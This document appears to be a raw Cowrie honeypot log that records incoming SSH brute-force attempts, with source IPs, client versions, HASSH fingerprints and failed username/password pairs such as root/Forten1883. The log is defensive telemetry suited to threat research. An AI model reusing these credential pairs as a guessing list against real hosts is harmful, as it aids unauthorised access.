{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:56.679930Z","src_ip":"51.250.105.222","session":"7d75b30cd639","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:31:57.805261Z","src_ip":"51.250.105.222","session":"7d75b30cd639","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.202","src_port":55604,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3d8857f12e9","protocol":"ssh","message":"New connection: 162.241.239.202:55604 (10.17.0.5:22) [session: d3d8857f12e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:03.584511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:03.587462Z","src_ip":"162.241.239.202","session":"d3d8857f12e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:03.617112Z","src_ip":"162.241.239.202","session":"d3d8857f12e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B33fy#S3cur3!W0rd","message":"login attempt [root/B33fy#S3cur3!W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:03.711988Z","src_ip":"162.241.239.202","session":"d3d8857f12e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.76795482635498,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:04.064098Z","src_ip":"170.64.224.25","session":"60aeaa2283a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.81309938430786,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:04.581091Z","src_ip":"170.64.224.25","session":"a1add4618c8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:04.752442Z","src_ip":"162.241.239.202","session":"d3d8857f12e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.88.94","src_port":52778,"dst_ip":"159.203.135.109","dst_port":22,"session":"b655e6415a3e","protocol":"ssh","message":"New connection: 162.144.88.94:52778 (159.203.135.109:22) [session: b655e6415a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:05.070297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:05.074575Z","src_ip":"162.144.88.94","session":"b655e6415a3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:05.157100Z","src_ip":"162.144.88.94","session":"b655e6415a3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vrt","password":"vrt123","message":"login attempt [vrt/vrt123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:05.413136Z","src_ip":"162.144.88.94","session":"b655e6415a3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":56922,"dst_ip":"159.203.135.109","dst_port":22,"session":"02e89cccd37a","protocol":"ssh","message":"New connection: 159.65.58.200:56922 (159.203.135.109:22) [session: 02e89cccd37a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:06.192258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:06.500707Z","src_ip":"159.65.58.200","session":"02e89cccd37a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:06.503854Z","src_ip":"159.65.58.200","session":"02e89cccd37a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samarsev","password":"123456","message":"login attempt [samarsev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:07.829134Z","src_ip":"159.65.58.200","session":"02e89cccd37a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:07.932602Z","src_ip":"162.144.88.94","session":"b655e6415a3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:09.025347Z","src_ip":"159.65.58.200","session":"02e89cccd37a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.199.16.90","src_port":60198,"dst_ip":"159.203.135.109","dst_port":22,"session":"02485b80553d","protocol":"ssh","message":"New connection: 103.199.16.90:60198 (159.203.135.109:22) [session: 02485b80553d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:15.366869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:15.371514Z","src_ip":"103.199.16.90","session":"02485b80553d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:15.638569Z","src_ip":"103.199.16.90","session":"02485b80553d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aladdin","password":"123456","message":"login attempt [aladdin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:16.569882Z","src_ip":"103.199.16.90","session":"02485b80553d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.207.224.247","src_port":40548,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bac91f426bd","protocol":"ssh","message":"New connection: 68.207.224.247:40548 (159.203.135.109:22) [session: 3bac91f426bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:16.924305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:16.928699Z","src_ip":"68.207.224.247","session":"3bac91f426bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:16.967166Z","src_ip":"68.207.224.247","session":"3bac91f426bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yt123456","message":"login attempt [root/yt123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:17.155206Z","src_ip":"68.207.224.247","session":"3bac91f426bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:17.793516Z","src_ip":"103.199.16.90","session":"02485b80553d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:18.193764Z","src_ip":"68.207.224.247","session":"3bac91f426bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":2494,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c87539977c8","protocol":"ssh","message":"New connection: 196.188.93.169:2494 (159.203.135.109:22) [session: 5c87539977c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:22.987571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:22.991472Z","src_ip":"196.188.93.169","session":"5c87539977c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:23.163378Z","src_ip":"196.188.93.169","session":"5c87539977c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":57008,"dst_ip":"10.17.0.5","dst_port":22,"session":"c19a7b0e93ec","protocol":"ssh","message":"New connection: 8.210.75.243:57008 (10.17.0.5:22) [session: c19a7b0e93ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:23.176576Z"}
{"eventid":"cowrie.login.failed","username":"tester","password":"123","message":"login attempt [tester/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:23.883499Z","src_ip":"196.188.93.169","session":"5c87539977c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:25.058480Z","src_ip":"196.188.93.169","session":"5c87539977c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.101.25","src_port":50872,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3b5536874f4","protocol":"ssh","message":"New connection: 103.97.101.25:50872 (159.203.135.109:22) [session: f3b5536874f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:25.559891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:25.567226Z","src_ip":"103.97.101.25","session":"f3b5536874f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:25.802916Z","src_ip":"103.97.101.25","session":"f3b5536874f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"MKMKMKMK","message":"login attempt [root/MKMKMKMK] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:26.779535Z","src_ip":"103.97.101.25","session":"f3b5536874f4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:27.427438Z","src_ip":"8.210.75.243","session":"c19a7b0e93ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:28.017880Z","src_ip":"103.97.101.25","session":"f3b5536874f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:28.259523Z","src_ip":"8.210.75.243","session":"c19a7b0e93ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.27.148.94","src_port":51400,"dst_ip":"10.17.0.5","dst_port":22,"session":"da0efe5e874c","protocol":"ssh","message":"New connection: 105.27.148.94:51400 (10.17.0.5:22) [session: da0efe5e874c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:31.007347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:31.011699Z","src_ip":"105.27.148.94","session":"da0efe5e874c","protocol":"ssh"}
